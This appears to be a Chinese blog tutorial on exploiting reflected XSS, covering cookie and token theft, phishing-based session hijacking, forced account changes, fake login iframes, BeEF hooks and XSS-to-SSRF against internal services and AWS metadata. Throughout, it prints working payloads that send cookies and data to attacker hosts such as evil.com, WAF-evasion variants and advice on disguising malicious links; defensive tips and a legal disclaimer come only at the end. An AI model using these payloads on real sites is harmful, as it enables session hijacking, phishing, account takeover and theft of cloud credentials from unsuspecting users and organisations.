当前位置: 首页 > news >正文

详解反射型 XSS 的后续利用方式:从基础窃取到高级组合拳攻击链

在网络安全领域,反射型跨站脚本攻击(Reflected Cross-Site Scripting,简称反射型 XSS)因其短暂的生命周期和临时性,常被视为“低危”漏洞,威胁性不如存储型或 DOM 型 XSS。然而,这种看法低估了它的潜力。在渗透测试与红队演练中,反射型 XSS 凭借隐蔽性与灵活性,依然是攻击链中的关键“初始载体”或“跳板”。它可以实现从窃取用户数据到触发服务器端请求伪造(SSRF),甚至接管整个系统。本文将从基础到高级,系统探讨反射型 XSS 的后续利用方式,结合实战场景分析,为安全从业者提供可操作的思路和灵感。


反射型 XSS 的本质与潜力

反射型 XSS 是一种通过用户输入(如 URL 参数、搜索框)直接“反射”到页面中的脚本注入攻击。恶意代码仅在用户访问特定 URL 时执行,且不存储于服务器端,因此攻击者需诱导受害者点击精心构造的链接。尽管利用窗口短暂,反射型 XSS 在结合社会工程学、后端漏洞或其他攻击技术时,可演变为多层次、多维度的威胁。

从简单的 Cookie 窃取到复杂的 SSRF 触发,反射型 XSS 的利用链条远超想象。本文将分层拆解其攻击路径,涵盖基础利用、高级场景、XSS 转 SSRF 的原理与案例,并提供防御建议,助你在攻防博弈中占据主动。


🔧 基础利用:打开攻击之门

反射型 XSS 的最常见用途是通过注入 JavaScript 脚本窃取用户敏感信息,为后续攻击铺路。以下为典型场景:

1. 窃取用户敏感信息

攻击者通过注入 JavaScript 脚本,可捕获以下数据:

  • Cookies:读取 document.cookie 中的会话标识。
  • 本地存储:提取 localStoragesessionStorage 中的 token、用户信息。
  • URL 参数:拦截 OAuth 回调中的 access token 或其他临时凭证。

示例 Payload

<script>new Image().src = 'https://evil.com/log?c=' + encodeURIComponent(document.cookie);
</script>

此脚本伪装成图像请求,将 Cookie 静默发送至攻击者服务器。若目标站点未启用 HttpOnly 保护,攻击者可直接冒充用户身份。

实战场景:某电商平台存在反射型 XSS,攻击者通过钓鱼链接窃取用户 Cookie,伪装身份下单、修改地址或转账。

变种技巧

  • 使用 XMLHttpRequestfetch 提取页面隐藏数据(如 CSRF token)。
  • 捕获 location.href 中的敏感参数(如 ?token=xxx)。

🧠 高级利用:从跳板到全面接管

下一步:定制化攻击链

反射型 XSS 的利用效果高度依赖目标系统的特性:

  • 站点功能:如搜索框、PDF 生成、链接预览、文件上传。
  • 认证机制:如 Cookie、JWT、OAuth。
  • API 逻辑:参数处理、后端调用方式。
  • 防护措施:如 WAF、CSP、输入过滤。
  • 环境细节:云服务(如 AWS、Azure)、内网结构。

需要根据不同的站点,“量身定制”贴合场景的攻击链。


2. 配合钓鱼实现 Session 劫持

攻击者可构造恶意 URL,诱导用户点击:

https://vulnsite.com/search?q=<script>fetch('https://evil.com/steal?c='+document.cookie)</script>

通过社会工程学手段(如伪造可信邮件、即时消息、短链或二维码),将该 URL 包装为合法页面。一旦用户点击,脚本即可窃取 Cookie 或 JWT。若目标站点未正确配置 HttpOnly 或 Secure 属性,攻击者便可接管用户会话。

实战场景:攻击者伪装成某银行的客服,发送包含恶意链接的钓鱼邮件,诱导用户点击“验证账户”链接,从而窃取网银会话,实现资金转移。

优化技巧

  • 使用短链服务(如 bit.ly)隐藏恶意 URL。
  • 结合 encodeURI 或 Base64 编码绕过用户警觉。

3. XSS -> CSRF 或业务逻辑劫持

反射型 XSS 可用于执行跨站请求伪造(CSRF)或直接操控业务逻辑。例如,攻击者可通过脚本自动提交表单,触发以下敏感操作:

  • 修改用户邮箱或密码。
  • 添加管理员账户。
  • 触发支付或转账。

示例代码

fetch('/account/change-email', {method: 'POST',credentials: 'include',headers: { 'Content-Type': 'application/x-www-form-urlencoded' },body: 'email=hacker@evil.com'
});

此脚本利用受害者的会话权限,自动修改账户邮箱,可能导致账户被完全接管。

实战场景:某论坛网站存在反射型 XSS,攻击者可通过恶意链接诱导管理员点击,自动提交表单提升攻击者为管理员,进而控制整个平台。

变种技巧

  • 结合 FormData 构造复杂表单。
  • 使用 setInterval 重复提交,增加成功率。

4. XSS -> DOM 接管 -> 页面仿冒

通过修改页面 DOM 结构,攻击者可实现网页仿冒。例如,替换整个 <body> 内容或插入恶意 <iframe>,诱导用户输入更多敏感信息(如二次登录凭据):

示例代码

document.body.innerHTML = '<iframe src="https://evil.com/fake-login" style="width:100%;height:100vh;border:none;"></iframe>';

此脚本将页面伪装为合法登录界面,用户输入的凭据将直接发送至攻击者服务器。

实战场景:攻击者发现某企业内网应用存在反射型 XSS,可通过伪装成 SSO 登录页面,捕获员工的域凭据,进而横向渗透内网。

优化技巧

  • 使用 CSS 隐藏原始页面元素(如 visibility: hidden)。
  • 插入动态表单,模拟多步验证。

5. XSS -> C2 控制 -> 浏览器持久化

通过结合浏览器利用框架(如 BeEF,Browser Exploitation Framework),攻击者可在受害者浏览器中植入钩子:实现持久化操作:

示例代码

<script src="http://attacker.com/hook.js"></script>

一旦钩子生效,攻击者可实现以下操作:

  • 实时截取浏览器屏幕。
  • 获取用户地理位置。
  • 记录键盘输入。
  • 执行动态交互(如弹出钓鱼弹窗)。

实战场景:在红队演练中,攻击者利用反射型 XSS 植入 BeEF 钩子,控制高管浏览器,捕获其操作行为(如审批敏感文件),为后续攻击提供情报。

优化技巧

  • 使用 WebSocket 实现实时命令下发。
  • 结合 postMessage 跨窗口通信,扩大控制范围。

6. XSS -> SSRF/RCE/LFI 等漏洞链

若目标系统的前后端存在数据联动(如前端参数直接调用内部 API),反射型 XSS 可作为跳板,诱发更严重的漏洞。例如:

  • 服务器端请求伪造(SSRF):构造恶意请求,探测内网服务。
  • 远程代码执行(RCE):利用前端参数触发的后端漏洞。
  • 本地文件包含(LFI):通过特殊输入访问服务器文件。

示例代码

fetch('/api/proxy?url=http://internal-server:8080/admin', { credentials: 'include' });

此脚本诱导前端调用内部 API,触发 SSRF,可能暴露内网服务。

实战场景:某云服务管理平台存在反射型 XSS,攻击者通过恶意链接触发 SSRF,访问未授权的 AWS 元数据接口,获取临时凭证。


🚨 利用反射型 XSS 的关键点

成功利用反射型 XSS 及 XSS 转 SSRF 需关注以下要素:

要素要点
利用窗口攻击需在用户点击链接的短暂会话中完成,时间敏感。
自动触发脚本需立即执行,避免依赖用户交互(如点击、输入)。
绕过 WAF使用编码混淆(URL 编码、Base64)、大小写变体、关键字分割(如 onerror 拆为 on+error)。
合法伪装URL 需看似正常(如用 #hash、短链、子域名伪装)。
CORS 策略跨域请求需服务端错误配置(如 Access-Control-Allow-Origin: *)。
SSRF 验证盲 SSRF 依赖时间差、DNS 回调或外部日志(如 Burp Collaborator)。
协议支持测试 HTTP、HTTPS、file://、gopher:// 等协议,扩大攻击面。

绕过 WAF 示例

<scRiPt>new ImAgE().srC='http://evil.com/log?c='+document['coo'+'kie'];</scRiPt>

通过大小写混淆与字符串拼接,规避常见规则。


📌 XSS 转 SSRF 详细分析

XSS 转 SSRF 的原理是通过注入脚本触发服务器对恶意 URL 的请求:

  1. 注入 XSS 脚本:利用反射型 XSS 将恶意 JavaScript 嵌入页面。
  2. 构造恶意请求:使用 <iframe><img><script> 等标签,指向内网或敏感 URL。
  3. 服务器处理:服务器在解析 HTML(如生成 PDF、预览链接)时,发起网络请求,触发 SSRF。

技术关键点

  • HTML 解析:服务器组件(如 wkhtmltopdf、PhantomJS)可能解析 HTML 并请求外部资源。
  • 盲 SSRF 支持:即使响应不可见,攻击者可通过时间差或 DNS 回调验证请求。
  • 权限放大:服务器通常比客户端有更高网络权限,可访问内网(如 127.0.0.1)或云元数据(如 AWS 169.254.169.254)。
  • 协议灵活性:支持 HTTP、HTTPS、file:// 等协议,增加利用面。

典型场景

  • PDF 生成器:用户输入 HTML,服务器生成 PDF 时请求嵌入的 URL。
  • 链接预览:服务器加载用户提交的链接内容,触发请求。
  • 文件上传:解析含恶意脚本的 HTML/SVG 文件。
  • API 联动:前端参数直接传入后端 API,触发内部调用。

攻击流程

  1. 发现 XSS 漏洞
    • 测试输入点,确认反射型 XSS(如 <script>alert(1)</script><img src=x onerror=alert(1)>)。
  2. 验证服务器行为
    • 注入 <iframe src="http://example.com">,用 Burp Collaborator 或自建服务器记录请求。
  3. 构造 SSRF 负载
    • 替换为内网资源(如 <iframe src="http://127.0.0.1:8080">)或云元数据(如 <iframe src="http://169.254.169.254/latest/meta-data/iam/security-credentials/">)。
  4. 触发并确认
    • 提交负载,检查服务器是否发起请求。
    • 盲 SSRF 可通过响应时间差(如开放端口快、关闭端口慢)或 DNS 回调(如 x.attacker.com)验证。

示例负载

  • 基本探测
    <img src="http://127.0.0.1:80" onerror="document.write('SSRF Success')">
    
  • 云元数据窃取
    <iframe src="http://169.254.169.254/latest/meta-data/iam/security-credentials/" onload="this.contentWindow.location">
    
  • 盲 SSRF 回调
    <script>new Image().src = "http://attacker.com/log?" + encodeURI(document.domain);
    </script>
    
  • 内网服务探测
    <img src="http://10.0.0.1:6379" onerror="fetch('http://attacker.com/log?port=6379')">
    

盲 SSRF 优化

当服务器不返回响应时,可通过以下方式验证:

  • 时间差:请求不存在端口(如 127.0.0.1:9999),开放端口响应快,关闭端口超时。
  • DNS 回调:使用 <img src="http://x.attacker.com">,通过 DNS 查询记录请求。
  • 文件协议:尝试 file:///etc/passwd,若服务器解析,可能泄露本地文件。

🔍 实战案例分析

案例一:PDF 生成器中的 XSS 转 SSRF

  • 场景:某 SaaS 平台允许用户输入 HTML 生成报告,未充分过滤输入。
  • 攻击过程
    1. 注入 <script>document.write('test')</script>,PDF 显示 “test”,确认 XSS。
    2. 修改为 <iframe src="http://169.254.169.254/latest/meta-data/iam/security-credentials/">,服务器请求 AWS 元数据。
    3. PDF 返回凭证内容,攻击者提取临时密钥。
  • 结果:获取 AWS EC2 实例控制权,可能接管整个账户。
  • 关键点:服务器解析 HTML 未限制内网请求,放大 XSS 危害。

复现 POC

<iframe src="http://169.254.169.254/latest/meta-data/iam/security-credentials/" onload="fetch('https://evil.com/log?d='+this.contentWindow.location)">

案例二:预览功能的盲 SSRF

  • 场景:某社交平台提供 URL 预览功能,未限制内部请求。
  • 攻击过程
    1. 注入 <img src="http://127.0.0.1:22">,无直接响应。
    2. 使用 <img src="http://x.attacker.com/log">,外部服务器收到 DNS 回调。
    3. 扫描内网端口,发现开放 Redis(6379)和数据库(3306)。
  • 结果:绘制内网拓扑图,为后续提权(如 Redis 写文件)铺路。
  • 关键点:盲 SSRF 依赖外部回调与时间差验证。

复现 POC

<img src="http://10.0.0.1:6379" onerror="fetch('https://evil.com/log?port=6379')">

案例三:文件上传触发的 XSS 转 SSRF

  • 场景:某 CMS 允许上传 HTML 文件,服务器解析时未禁用脚本。
  • 攻击过程
    1. 上传含 <script>alert(1)</script> 的 HTML 文件,确认 XSS。
    2. 修改为 <img src="http://internal-api:8080/admin">,服务器请求内部 API。
    3. 使用盲 SSRF 负载 <img src="http://x.attacker.com/log">,确认请求成功。
  • 结果:探测内部 API 端点,泄露未授权数据。
  • 关键点:文件解析未隔离,导致 XSS 直接触发 SSRF。

复现 POC

<img src="http://internal-api:8080/admin" onerror="new Image().src='http://evil.com/log?success=1'">

🛠️ 防御建议:筑牢攻防壁垒

针对反射型 XSS,开发者和安全团队应采取以下措施:

  1. 输入验证与输出编码
    • 严格过滤用户输入,禁用危险标签(如 <script><iframe><img>)。
    • 对输出进行 HTML/JS/URL 编码(如 encodeURIComponenthtmlspecialchars)。
  2. 保护会话安全
    • 启用 HttpOnly、Secure 和 SameSite 属性,防止 Cookie 被窃取。
    • 使用短生命周期 JWT,降低被盗风险。
  3. 限制服务器请求
    • 禁止服务器发起内网请求(如 127.0.0.1、AWS 元数据)。
    • 限制外部请求,仅允许白名单域名。
    • 禁用不必要协议(如 file://、gopher://)。
  4. 部署 WAF 和 CSP
    • 配置 WAF 拦截恶意脚本、可疑 URL 和异常请求。
    • 使用内容安全策略(CSP)限制脚本、iframe 和资源来源(如 script-src 'self')。
  5. 监控与沙箱
    • 监控服务器请求日志,识别 SSRF 尝试。
    • 在沙箱中解析用户上传文件,隔离潜在威胁。
  6. 安全开发实践
    • 定期进行代码审计,检查 HTML 解析逻辑。
    • 实施漏洞扫描,检测 XSS 和 SSRF 风险。

示例 CSP 配置

<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self'; img-src 'self';">

结语

反射型 XSS 看似微不足道,却能在精心设计的攻击链中掀起惊涛骇浪。从窃取 Cookie 到触发 SSRF,它不仅是渗透测试的“敲门砖”,更是红队演练中的“万能跳板”。通过本文的剖析,我们看到 XSS 转 SSRF 如何将前端漏洞升级为后端灾难,揭示了攻防链条的复杂性与魅力。

在安全的世界里,攻防永无止境。攻击者利用漏洞的创造力,提醒防御者必须以更严谨的思维构建保护网。希望本文的洞察能为你提供启发,保持警惕,不断学习,才能在漏洞与防护的博弈中占据主动。

声明:本文仅用于安全研究和授权测试,任何未经授权的攻击行为均违法。请在合法范围内使用技术,共同守护网络安全。

相关文章:

详解反射型 XSS 的后续利用方式:从基础窃取到高级组合拳攻击链

在网络安全领域&#xff0c;反射型跨站脚本攻击&#xff08;Reflected Cross-Site Scripting&#xff0c;简称反射型 XSS&#xff09;因其短暂的生命周期和临时性&#xff0c;常被视为“低危”漏洞&#xff0c;威胁性不如存储型或 DOM 型 XSS。然而&#xff0c;这种看法低估了它…...

【问题笔记】解决python虚拟环境运行脚本无法激活问题

【问题笔记】解决python虚拟环境运行脚本无法激活问题 错误提示问题所在解决方法**方法 1&#xff1a;临时更改执行策略****方法 2&#xff1a;永久更改执行策略** **完整流程示例** 错误提示 PS F:\PythonProject\0419graphrag-local-ollama-main> venv1\Scripts\activate…...

CF148D Bag of mice

题目传送门 思路 状态设计 设 d p i , j dp_{i, j} dpi,j​ 表示袋中有 i i i 个白鼠和 j j j 个黑鼠时&#xff0c; A A A 能赢的概率。 状态转移 现在考虑抓鼠情况&#xff1a; A A A 抓到白鼠&#xff1a;直接判 A A A 赢&#xff0c;概率是 i i j \frac{i}{i j}…...

精益数据分析(6/126):深入理解精益分析的核心要点

精益数据分析&#xff08;6/126&#xff09;&#xff1a;深入理解精益分析的核心要点 在创业和数据驱动的时代浪潮中&#xff0c;我们都在不断探索如何更好地利用数据推动业务发展。我希望通过和大家分享对《精益数据分析》的学习心得&#xff0c;一起在这个充满挑战和机遇的领…...

package.json ^、~、>、>=、* 详解

package.json ^、~、>、>、* 详解 在 Vue 项目中&#xff0c;package.json 文件的依赖项&#xff08;dependencies&#xff09;和开发依赖项&#xff08;devDependencies&#xff09;中&#xff0c;版本号前可能会带有一些特殊符号&#xff0c;例如 ^、~、>、<、&g…...

2025年赣教云智慧作业微课PPT模板

江西的老师们注意&#xff0c;2025年赣教云智慧作业微课PPT模版和往年不一样&#xff0c;千万不要搞错了&#xff0c;图上的才是正确的2025年的赣教云智慧作业微课PPT模版&#xff0c;赣教云智慧作业官网有问题&#xff0c;无法正确下载该模板&#xff0c;需要该模板的&#xf…...

Java PrintStream 类深度解析

Java PrintStream 类深度解析 便捷: 1.直接输出各种数据 2.自动刷新和自动换行(println方法) 3.支持字符串转义 4.自动编码(自动根据环境选择合适的编码方式) 1. 核心定位 PrintStream 是 FilterOutputStream 的子类,提供格式化输出能力,是标准输出 System.out 的…...

超简单的git学习教程

本博客仅用于记录学习和使用 前提声明全部内容全部来自下面廖雪峰网站&#xff0c;如果侵权联系我删除 1.小白学习看这篇&#xff0c;快速易懂入门&#xff0c;完整内容&#xff08;半天完成学习本地和远程仓库建立&#xff09; 简介 - Git教程 - 廖雪峰的官方网站 2.博客中…...

Yocto项目实战教程-第5章-5.1-5.2小节-BitBake的起源与源代码讲解

&#x1f50d; B站相应的视频教程&#xff1a; &#x1f4cc; Yocto项目实战教程-第5章-5.1-5.2小节-BitBake的起源与源代码讲解 记得三连&#xff0c;标为原始粉丝。 &#x1f4da; 系列持续更新中&#xff0c;B站搜索 “嵌入式 Jerry”&#xff0c;系统学 Yocto 不迷路&#…...

SQL注入相关知识

一、布尔盲注 1、布尔盲简介 布尔盲注是一种SQL注入攻击技术&#xff0c;用于在无法直接获取数据库查询结果的情况下&#xff0c;通过页面的响应来判断注入语句的真假&#xff0c;从而获取数据库中的敏感信息 2、布尔盲注工作原理 布尔盲注的核心在于利用SQL语句的布尔逻辑…...

Linux网络编程 深入解析Linux TCP:TCP实操,三次握手和四次挥手的底层分析

知识点1【TCP编程概述】 1、TCP的概述 客户端&#xff1a;主动连接服务器&#xff0c;和服务器进行通信 服务器&#xff1a;被动被客户端连接&#xff0c;启动新的线程或进程&#xff0c;服务器客户端&#xff08;并发服务器&#xff09; 这里重复TCP和UDP特点 TCP&#x…...

实验4基于神经网络的模式识别实验

实验原理 1. BP学习算法是通过反向学习过程使误差最小&#xff0c;其算法过程从输出节点开始&#xff0c;反向地向第一隐含层(即最接近输入层的隐含层)传播由总误差引起的权值修正。BP网络不仅含有输入节点和输出节点&#xff0c;而且含有一层或多层隐(层)节点。输入信号先向前…...

Rust网络编程实战:全面掌握reqwest库的高级用法

一、开篇导引 1.1 对比Python Requests解释为何reqwest是Rust生态的标杆HTTP客户端 在Python生态中&#xff0c;Requests 库以其简洁易用的API成为了HTTP客户端的首选。它使得开发者能够轻松地发送各种HTTP请求&#xff0c;处理响应&#xff0c;而无需过多关注底层细节。然而…...

【漫话机器学习系列】211.驻点(Stationary Points)

驻点&#xff08;Stationary Points&#xff09;&#xff1a;理解函数导数为零的关键位置 在数学分析、机器学习优化、物理建模等领域中&#xff0c;驻点&#xff08;Stationary Points&#xff09;是一个非常重要的概念。它们是函数图像中“停下来的点”&#xff0c;即导数为…...

图 - 最小生成树算法 - Kruskal - Prim

目录 前言 什么是最小生成树算法 Kruskal 克鲁斯卡尔 Prim 普利姆 结语 前言 在图中一共有两类算法&#xff0c;一种是最短路径&#xff0c;还有一种就是本篇要讲解的最小生成树算法了 其中&#xff0c;最短路径一共有三种&#xff0c;而最小生成树一共有两种&#xff…...

linux kernel irq相关函数详解

在Linux内核驱动开发中&#xff0c;处理中断涉及一系列关键函数&#xff0c;正确使用这些函数对确保驱动的稳定性和性能至关重要。以下是disable_irq、free_irq、platform_get_irq和request_irq等函数的详细解析&#xff0c;涵盖其功能、用法、注意事项及示例代码。 一、核心函…...

聊聊Doris的数据模型,如何用结构化设计解决实时分析难题

传统 OLAP 系统的局限 在大数据实时分析领域&#xff0c;数据模型设计直接决定了系统的查询性能、存储效率与业务适配性。Apache Doris作为新一代MPP分析型数据库&#xff0c;通过独创的多模型融合架构&#xff0c;在业内率先实现了"一份数据支持多种分析范式"的能力…...

[Swift]Xcode模拟器无法请求http接口问题

1.以前偷懒一直是这样设置 <key>NSAppTransportSecurity</key> <dict><key>NSAllowsArbitraryLoads</key><true/> </dict> 现在我在Xcode16.3上&#xff0c;这种设置方式在真机上能请求http&#xff08;应该是设备开启了开发者模式…...

kafka认证部署

首先启动 zookeeper /home/kafka/bin/zookeeper-server-start.sh /home/kafka/config/zookeeper.properties 创建SCRAM证书 /home/kafka/bin/kafka-configs.sh --zookeeper localhost:2181 --alter --add-config SCRAM-SHA-256[iterations8192,passwordliebe],SCRAM-SHA-512[p…...

基于STM32中断讲解

基于STM32中断讲解 一、NVIC讲解 简介&#xff1a;当一个中断请求到达时&#xff0c;NVIC会确定其优先级并决定是否应该中断当前执行的程序&#xff0c;以便及时响应和处理该中断请求。这种设计有助于提高系统的响应速度和可靠性&#xff0c;特别是在需要处理大量中断请求的实…...

Java 动态代理教程(JDK 动态代理)(以RPC 过程为例)

1. 什么是动态代理 在运行时为指定的接口自动生成代理对象&#xff0c;并通过 invoke 方法增强了这些对象的功能 2. 两个核心组件 java.lang.reflect.Proxy类 这个类提供了方法&#xff1a;newProxyInstance()用来创建一个代理对象 public static Object newProxyInstance(…...

Linux Privilege Escalation: LD_PRELOAD

声明&#xff1a;本文所有操作需在授权环境下进行&#xff0c;严禁非法使用&#xff01; 0x01 什么是 LD_PRELOAD&#xff1f; LD_PRELOAD 是 Linux 系统中一个特殊的环境变量&#xff0c;它允许用户在程序启动时优先加载自定义的动态链接库&#xff08;.so 文件&#xff09;&…...

Java 并发性能优化:线程池的最佳实践

Java 并发性能优化&#xff1a;线程池的最佳实践 在 Java 并发编程的世界里&#xff0c;线程池堪称提高应用性能与稳定性的神器。恰如其分地运用线程池&#xff0c;能让我们在多线程任务调度时游刃有余&#xff0c;既能避免线程频繁创建销毁带来的开销&#xff0c;又能合理管控…...

QML动画--ParallelAnimation和SequentialAnimation

一、ParallelAnimation ParallelAnimation 是 QML 中用于并行执行多个动画的容器动画类型&#xff0c;可以同时运行多个子动画。 基本用法 qml import QtQuick 2.15Rectangle {id: rectwidth: 100; height: 100color: "red"x: 0; y: 0; opacity: 1.0ParallelAnim…...

深入解析进程与线程:区别、联系及Java实现

引言 在现代操作系统中&#xff0c;进程和线程是并发编程的两大核心概念。理解它们的区别与联系对开发高性能、高可靠性的程序至关重要。本文将通过原理分析和Java代码示例&#xff0c;深入探讨这两个关键概念。 一、基本概念 1.1 进程&#xff08;Process&#xff09; 定义&…...

c++:线程(std::thread)

目录 从第一性原理出发&#xff1a;为什么需要线程&#xff1f; ✅ 本质定义&#xff1a; &#x1f4cc; 使用基本语法&#xff1a; 线程之间的“并发”与“并行”的区别 线程安全与数据竞争&#xff08;Race Condition&#xff09; 如何让线程“安全地”访问数据&#x…...

基于LSTM-AutoEncoder的心电信号时间序列数据异常检测(PyTorch版)

心电信号&#xff08;ECG&#xff09;的异常检测对心血管疾病早期预警至关重要&#xff0c;但传统方法面临时序依赖建模不足与噪声敏感等问题。本文使用一种基于LSTM-AutoEncoder的深度时序异常检测框架&#xff0c;通过编码器-解码器结构捕捉心电信号的长期时空依赖特征&#…...

[密码学基础]GM/T 0018-2023 密码设备应用接口规范深度解析:技术革新与开发者实践

GM/T 0018-2023 密码设备应用接口规范深度解析&#xff1a;技术革新与开发者实践 GM/T 0018-2023《密码设备应用接口规范》是中国密码行业的重要标准&#xff0c;于2023年12月4日发布&#xff0c;2024年6月1日正式实施&#xff0c;替代了2012年版标准。该标准旨在规范密码设备…...

深入理解 Java 多线程:锁策略与线程安全

文章目录 一、常见的锁策略1. 乐观锁&&悲观锁2. 读写锁3. 重量级锁&&轻量级锁4. 自旋锁5. 公平锁&&不公平锁6. 可重入锁 && 不可重入锁 二、CAS1. 什么是 CAS2. CAS 是怎么实现的3.CAS 有哪些应用1) 实现原子类2) 实现自旋锁 4. CAS 的 ABA 问…...

Java从入门到“放弃”(精通)之旅——数组的定义与使用⑥

Java从入门到“放弃”&#xff08;精通&#xff09;之旅&#x1f680;——数组⑥ 前言——什么是数组&#xff1f; 数组&#xff1a;可以看成是相同类型元素的一个集合&#xff0c;在内存中是一段连续的空间。比如现实中的车库&#xff0c;在java中&#xff0c;包含6个整形类…...

VsCode搭建

安全性问题的声明&#xff1a; VScode是一个由微软出品的开源软件编辑器 VScode下载 https://code.visualstudio.com/Download 官网直接下载即可&#xff0c;windows和linux的vscode使用命令是类似的。 VScode插件相关 为了方便安装&#xff0c;推荐设置并使用vscode插件的…...

【NLP 65、实践 ⑯ 基于Agent优化文章】

羁绊由我而起&#xff0c;痛苦也由我承担 —— 25.4.18 一、⭐【核心函数】定义大模型调用函数 call_large_model prompt&#xff1a;用户传入的提示词&#xff08;如 “请分析这篇作文的主题”&#xff09;&#xff0c;指导模型执行任务 client&#xff1a;Zhipu…...

【Redis】从单机架构到分布式,回溯架构的成长设计美学

前言 &#x1f31f;&#x1f31f;本期讲解关于分布式架构的发展相关知识介绍~~~ &#x1f308;感兴趣的小伙伴看一看小编主页&#xff1a;GGBondlctrl-CSDN博客 &#x1f525; 你的点赞就是小编不断更新的最大动力 &#x1f386;那么废…...

增量式PID基础解析与代码实例:温控系统

目录 1. 前言 2. 增量式PID控制的基本原理 2.1 PID控制的基本概念 2.2 增量式PID控制的特点 3. 增量式PID控制的Python实现&#xff1a;温控系统 3.1 构建增量式PID控制器 3.2 使用增量式PID控制器 3.3 运行模拟 3.4 完整代码 4. 参数调整与优化 4.1 参数选择 4.2…...

数据结构——栈以及相应的操作

栈(Stack) 在维基百科中是这样定义的&#xff1a; 堆栈(stack) 又称为栈或堆叠&#xff0c;是计算机科学中的一种抽象资料类型&#xff0c;只允许在有序的线性资料集合中的一端&#xff08;称为堆栈顶端&#xff0c;top&#xff09;进行加入数据&#xff08;push&#xff09;和…...

opencv 图像的旋转

图像的旋转 1 单点旋转2. 图片旋转&#xff08;cv2.getRotationMatrix2D&#xff09;3. 插值方法3.1 最近邻插值(cv2.INTER_NEAREST)3.2 双线性插值(cv2.INTER_LINEAR)3.3 像素区域插值&#xff08;cv2.INTER_AREA&#xff09;3.4 双三次插值&#xff08;cv2.INTER_CUBIC&#…...

P3916 图的遍历

P3916 图的遍历 题目来源-洛谷 题意 有向图中&#xff0c;找出每个节点能访问到的最大的节点 思路 每个节点的最大节点&#xff0c;不是最长距离&#xff0c;如果是每个节点都用dfs去找最大值&#xff0c;显然1e6*1e6 超时了&#xff0c;只能60分从第一个节点开始遍历&…...

Vue3 + Three.js 场景编辑器开发实践

文章目录 前言项目背景与意义项目技术栈在线演示核心功能实现1. 智能化场景管理2. 专业级模型处理3. 可视化材质与照明4. 相机与渲染引擎5. 场景操作 项目优势开发目标1. 几何模型和模型导入&#xff0c;场景新建按钮增加2. 提供场景内容的可视化编辑功能3. 渲染器场景&#xf…...

Vue3 本地打包启动白屏解决思路!! !

“为什么我访问 http://127.0.0.1:5501/index.html 白屏&#xff0c;删了 index.html 再访问 / 就又活过来了&#xff1f;” —— 你的项目与 SPA 路由的“宫斗大戏” 一、问题复现 场景 本地通过 VSCode Live Server&#xff08;或其他静态服务器&#xff09;启动了打包后的 V…...

Ubuntu 安装 Docker 教程(官方推荐方式)

✅ 步骤 1&#xff1a;卸载旧版本&#xff08;如果有&#xff09; for pkg in docker.io docker-doc docker-compose docker-compose-v2 podman-docker containerd runc; do sudo apt-get remove $pkg; done---### ✅ 步骤 2&#xff1a;更新 APT 索引并安装依赖项bash sudo a…...

WPF 点击按钮,显示隐藏另一个控件

<Button Content"显示隐藏" Click"operationDetails_Click" /> private void operationDetails_Click(object sender, RoutedEventArgs e) { 另一个控件的Name.Visibility 另一个控件的Name.Visibility Visibility.Visible ? Visibility.Col…...

RBAC的使用

1、简述RBAC的作用及工作流程 Rbac基于角色访问控制&#xff0c;用于管理用户对集群资源的访问权限&#xff0c;通过定义角色和绑定规则&#xff0c;将用户与权限进行关联&#xff0c;作用&#xff1a;权限精细化管理&#xff0c;操作便捷与统一管理&#xff0c;动态调整权限。…...

QML中的3D功能--模型导入与修改

在Qt 3D中导入和修改3D模型是开发3D应用程序的基础。以下是详细的流程和技术方案: 一、模型导入基础 1. 支持的文件格式 Qt 3D支持多种3D模型格式: OBJ (Wavefront) FBX (Autodesk) DAE (Collada) GLTF/GLB (推荐格式) STL (3D打印格式) 2. 基本导入方法 qml import Qt3…...

树莓派超全系列教程文档--(33)树莓派启动选项

树莓派启动选项 启动选项start_file &#xff0c;fixup_filecmdlinekernelarm_64bitramfsfileramfsaddrinitramfsauto_initramfsdisable_poe_fandisable_splashenable_uartforce_eeprom_reados_prefixotg_mode &#xff08;仅限Raspberry Pi 4&#xff09;overlay_prefix配置属…...

dotnet core webapi 实现 异常处理中间件

目录 第一步&#xff1a;创建异常处理中间件类&#xff08;自定义响应格式&#xff09; 第二步&#xff1a;在 Program.cs 中使用中间件 三、效果 第一步&#xff1a;创建异常处理中间件类&#xff08;自定义响应格式&#xff09; public static class ExceptionMiddleware…...

实现Azure Function安全地请求企业内部API返回数据

需要编写一个Function在Azure云上运行&#xff0c;它需要访问企业内部的API获取JSON格式的数据&#xff0c;企业有网关和防火墙&#xff0c;API有公司的okta身份认证&#xff0c;通过公司的域账号来授权访问&#xff0c;现在需要创建一个专用的域账号&#xff0c;让Function访问…...

实现Azure Databricks安全地请求企业内部API返回数据

需要编写一个Databricks在Azure云上运行&#xff0c;它需要访问企业内部的API获取JSON格式的数据&#xff0c;企业有网关和防火墙&#xff0c;API有公司的okta身份认证&#xff0c;通过公司的域账号来授权访问&#xff0c;现在需要创建一个专用的域账号&#xff0c;让Databrick…...

结合建筑业务讲述TOGAF标准处理哪种架构

TOGAF标准处理哪种架构 内容介绍业务架构业务策略&#xff0c;治理&#xff0c;组织和关键业务流程数据架构组织的逻辑和物理数据资产以及数据管理资源的结构应用架构待部署的各个应用程序&#xff0c;它们之间的交互以及与组织核心业务流程的关系的蓝图技术架构支持业务&#…...

深度学习--卷积神经网络CNN原理

文章目录 一、CNN图像原理1、了解CNN如何处理图像 二、CNN图像识别1、画面不变性2、主要表现1&#xff09;平移不变性2&#xff09;尺度不变性3&#xff09;旋转不变性 3、传统神经网络1&#xff09;数据预处理2&#xff09;特征提取3&#xff09;搭建神经网络模型4&#xff09…...

PostgreSQL 常用客户端工具

PostgreSQL 常用客户端工具 PostgreSQL 拥有丰富的客户端工具生态系统&#xff0c;以下是各类常用工具的详细分类和介绍&#xff1a; 一 图形化客户端工具 1.1 跨平台工具 工具名称特点适用场景许可证pgAdmin官方出品&#xff0c;功能全面开发/运维PostgreSQLDBeaver支持多…...